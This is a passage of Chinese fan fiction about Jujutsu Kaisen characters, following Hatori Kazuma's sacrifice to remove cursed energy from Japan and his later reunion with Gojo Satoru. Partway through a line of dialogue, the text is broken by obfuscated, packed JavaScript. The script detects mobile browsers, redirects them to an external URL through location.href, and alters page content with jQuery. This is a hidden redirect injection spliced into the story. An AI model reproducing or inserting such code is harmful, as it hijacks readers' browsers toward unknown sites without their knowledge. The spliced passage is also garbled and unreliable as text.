他也并没有真的打算反驳,而是与五条悟静静相拥在废墟中心,度过这令人眷念的、短暂又漫长的时刻。 “老师——五条老师——还有真丸先生也在——” “喂虎杖,什么真丸先生,你敢给一真先生起狗狗名!?” “啊、啊哈哈……” 直到远处传来呐喊的声音,伴随着急促而嘈杂的跑步动静——喊出口的内容同样由模糊至清晰,甚至人还没到,已经先开始大声拌起嘴来。 五条悟赶紧从羽取一真的颈窝处抬起头,然后用手来回抹干净残存的泪痕,“看不出来吧?” 问的声音很小,还有点紧张兮兮的。 他可是要在学生面前耍帅一辈子的麻辣教师,怎么能被他们发现自己正在丢脸的哭哭呢! “看不出来,。” 羽取一真笑着回道,“还是一样让我帅到心坎里。” “那就好。” 五条悟长舒一口气,转过身朝自家的学生们高兴挥手——除去一年级全员到齐以外,二年级与三年级的学生来了大半。 “你们被放出来了?那群老头可不会这么好心,是忧太帮的忙?” 甚至连夜蛾校长和家入硝子也被释放了,正落在吵吵嚷嚷队伍的最后方;尤其是夜蛾校长,只被关了几天,人看起来却好像操心得苍老好几岁。 “嗯,”乙骨忧太不好意思点头,“我在解咒里香后就失去作战能力了,就想办法回高专救大家出来……幸好还有那位陌生的金发青年,他听说我成功打败夏油杰,救出了一真先生以后,立刻答应帮忙把剩下的人也放出来。” 大概在禅院直哉心里,偷偷放出战力最强的乙骨忧太属于前期风险投资,一看回报是羽取一真成功从狱门疆解封、赶赴战场支援五条悟,那么后续的救人就是顺理成章的投名状了。 羽取一真加五条悟还有打不过的敌人?他不信。 如此一来,他肯定也能逃脱那个恶魔事后的清算吧,哼哼,禅院家必是他囊中之物! 禅院直哉志得意满,甚至开始感谢起当初想不开非要去姐妹校交流会观战的自己。 多么英明神武啊,让他搭上了这艘驶向胜利大船! 至于这艘船名为天狼星杀手号,活阎王号,恶魔号之类的……嗐,多大点事。 而此刻的新宿废墟上,身体素质最强的虎杖悠仁一马当先冲刺过来,先确认五条悟和羽取一真都没事后才真正放心了大半。 “伏黑和两面宿傩怎么样啦?” “伏黑没事噢,回去睡一觉应该就好了。” 五条悟笑着说完这句,立刻又不满的鼓起脸,“……两面宿傩也没事,他又变回很难搞的咒物了。” “那我再吃掉一次?” 虎杖悠仁立刻眨着豆豆眼举手自荐——他缺失的那根左手小指没能回来,成为了新的特级咒物。 “……不要说得好像只是吃能量棒一样。” 收起那根手指的羽取一真哑然片刻,一口回绝,“我会解决掉的。” “咦,那就是一真先生吃掉……” “不要老想着吃掉啊,这又不是三文鱼!” 钉崎野蔷薇无语到抬手锤了虎杖悠仁脑袋瓜一记,让后者发出一声可怜巴巴的“好痛!”。 “那个,别动手……” 吉野顺平在旁边劝说得格外无奈,但钉崎野蔷薇已经敲完了,所以只是双手叉腰,发出一声轻哼。 而最后走过来的夜蛾正道,与多年未见的学生默默点头打了个招呼,没有戴墨镜的眼底皆是欣慰与释然。 “啊,所以一真先生是打算怎么解决呀?” 在热热闹闹的吵嚷完后,终于又有人好奇向羽取一真问道,绕回之前的话题。 五条悟原本正笑眯眯看着他们放松下来打闹的表情也缓慢收敛,转头看着羽取一真,与那双温润而柔和的黑瞳对视。 他已经猜到羽取一真会怎么做,并为此感到不舍与留念。 “别露出这么让人难过的表情啊,悟。” 羽取一真笑起来,用指尖亲昵捋顺自家恋人战后分外凌乱的白发,再与他额头轻轻相贴,“到时候,就来这个地址找我吧。” “我们一定会再见面,你知道的。没有什么能将我们分开,死亡不行,时间与空间也不行。” “……嗯。” 五条悟深吸一口气,才松开羽取一真,后退几步,为他让出一片空间。 站在后方的虎杖悠仁担忧出声,“五条老师?” “没事的,悠仁。” 五条悟回头朝他露出一个安抚的笑意,“接下来可是前所未有的大动作,你们要瞧仔细咯!这辈子大概也只会看见一次吧?” “欸?!” 在赶来的众人眼前,羽取一真已撤去由结界维持的实体形态,由灿金与明红光辉交织而汇聚成的那只凤凰正在扇动着长而蹁跹的羽翼,缓慢朝高空飞去。 有细碎的莹莹光点自空中落下,越来越多,好似新下在冬季的飞雪——但当它落进伸出的掌心时,能清晰传来一种温暖的柔和触感,并逐渐消融不见。 再往天空看去时,连那只足以遮蔽太阳的凤凰也彻底不见了踪影。 “五条老师!?” 虎杖悠仁惊慌失措看向五条悟,不明白这到底是什么情况。 “化为特级过咒怨灵的一真,在数年前就吞噬了进化后的天元。” 同样在伸手去接光点的五条悟微微合了下眼,终于开口为众人解释。 “而进化后的天元,早已脱离了人类的范畴,成为一种既存在、却又不存在的形式,灵魂早已与整个世界融为一体。” “因此,原本的羂索、也就是后来的夏油杰,想要依靠这10个开启了[死灭回游]的结界、以及进化后能与全日本的人类进行同化的天元,来达成[将人类进化成术师]的构想。” 乙骨忧太听得怔愣,“但、但老师不是把那些咒灵和咒物受肉丨体全部都祓除了……?” “嗯,但原本就布置在那里的结界,依旧存在。”五条悟朝乙骨忧太笑了下,“而此刻的一真,也将要利用那些结界,来达成自己的目标。” “说得再简单点,通过连接整个日本的10个结界,天元将具备对普通人[施加诅咒]并[进行最终同化仪式]的条件。” “[成为术师,达到咒力的最优化],这是羂索想要走的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860943|159429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向。” “那么,反过来呢?” 五条悟抬头望向苍垠无际的天空。 那里仍有无数星星点点的荧光在飘落,前仆后继地融进这片满目疮痍的大地上。 然而,落下光点的不仅只有此处——而是整个日本。 “换句话说,此刻与世界融为一体的一真,即是[天]。” “他并不打算[施加诅咒],而是要与整个日本的普通人包括术师,签订一个[束缚]。” “是的,或许可以将它称为……” “[天与咒缚]。” ——没错,羽取一真要做的,是将整个日本的咒力全部回收到自己身上。 身体是否有触碰到这些落下的光点根本无所谓,在这片被光点覆盖的整个日本岛内,所有人类都会强制与他签订[天与咒缚]。 亦如他们曾经坐在教室里交谈的那般,羽取一真对正常社会的定义,乃是【咒灵全部消失】。 那么,只需要让全人类都失去咒力就好了。 暂时覆盖不到全世界也无所谓,他可以随时间逐步扩张出去。 失去咒力的人类,就算再如何产生负面情绪,也不会再泄露咒力,沉淀出咒灵这种扭曲的生物。 这个终于正常运转起来的社会,也不会再需要咒术界。 至于这些回收的庞大咒力该去往何处? 在意识彻底消散前,羽取一真学着悟平时模样,眼底浮现出一个浅浅的、狡黠的微笑。 ——来做一个游戏吧。 来做一个足以逆转时间、颠倒因果的“游戏”。 当这场纷扬的光雨落尽之时,唯有一簇燃烧着的白焰,自天际缓慢的、缓慢的下坠,直至轻且柔和地熄灭在五条悟的掌心。 当火焰散尽,出现在他眼前的,是一份拥有精致封面的游戏。 占据了大部分版面的,赫然是刚上高专时期的他,抬眼望过来的姿态意气风发极了,既肆意又张扬。 “难怪一来就到处找小悟……” 五条悟忍不住低声笑起来,将它收好。 覆盖在日本的所有结界全部彻底解除,再抬头望向这片湛蓝的天空时,澄澈如雨过天晴。 他的[六眼],已看不见咒力的半分痕迹了。 ………… 【未来构拟崩溃度:0%。】 【监测该世界运行平稳,读取数据开始,世界融合开始……】 【融合完毕。】 【游戏结束,感谢您的游玩。】 当这行字体弹出,游戏羽取一真已顾不上去看了。 他用百米冲刺的速度跑出卧室,几步便自楼梯跨至一楼,猛然拉开家门,头也不回地去往那个目的地。 那个卖给了他这款游戏的,音像店…! 还有那个怎么想怎么眼熟的店员! “吉野顺平!” 羽取一真气喘吁吁站在店门口,把被喊了全名的某位兼职店员惊得一个激灵,连头也不敢回,甚至恨不得将自己整个埋进货架里。 “那、那个,一真先生……” 他支支吾吾想要解释点什么,被喘匀气的羽取一真大步迈进这家音像店来,视线凌厉地到处逡巡。 “悟呢?” 问话直指中心,其它一概不管。 “店长在……你身后。” 吉野顺平小声回道,食指小心翼翼朝羽取一真的背后指去,令他错愕转过身—— 在门口站着的,正是单手拎着保温桶,穿了身休闲装束的五条悟;那头白发柔软垂落着,没有再戴那副会遮挡视线的墨镜。 “终于来啦,我就猜到是这个时间点。” 他愉快笑着朝羽取一真打招呼,拎着保温桶的那只手也跟举起来,朝人得意又自信地晃了晃。 “是我煮的香香甜甜红豆小年糕汤哦,来一起吃吧?” 是和他约好了的,等事情解决完后,就来一起吃悟煮的红豆小年糕汤。 羽取一真从来没有想过,向来难以表露情绪的自己,也会有朝一日如此高兴。 高兴得他眼眶发酸,却又笑着与五条悟相拥在一起。 直到此刻,从羽取一真获得游戏开始,到与五条悟重逢结束,衔尾蛇的头与尾相连,才总算画出了一个完美的圆。 “终于找到我了吗?” “嗯,再也不会放开了。”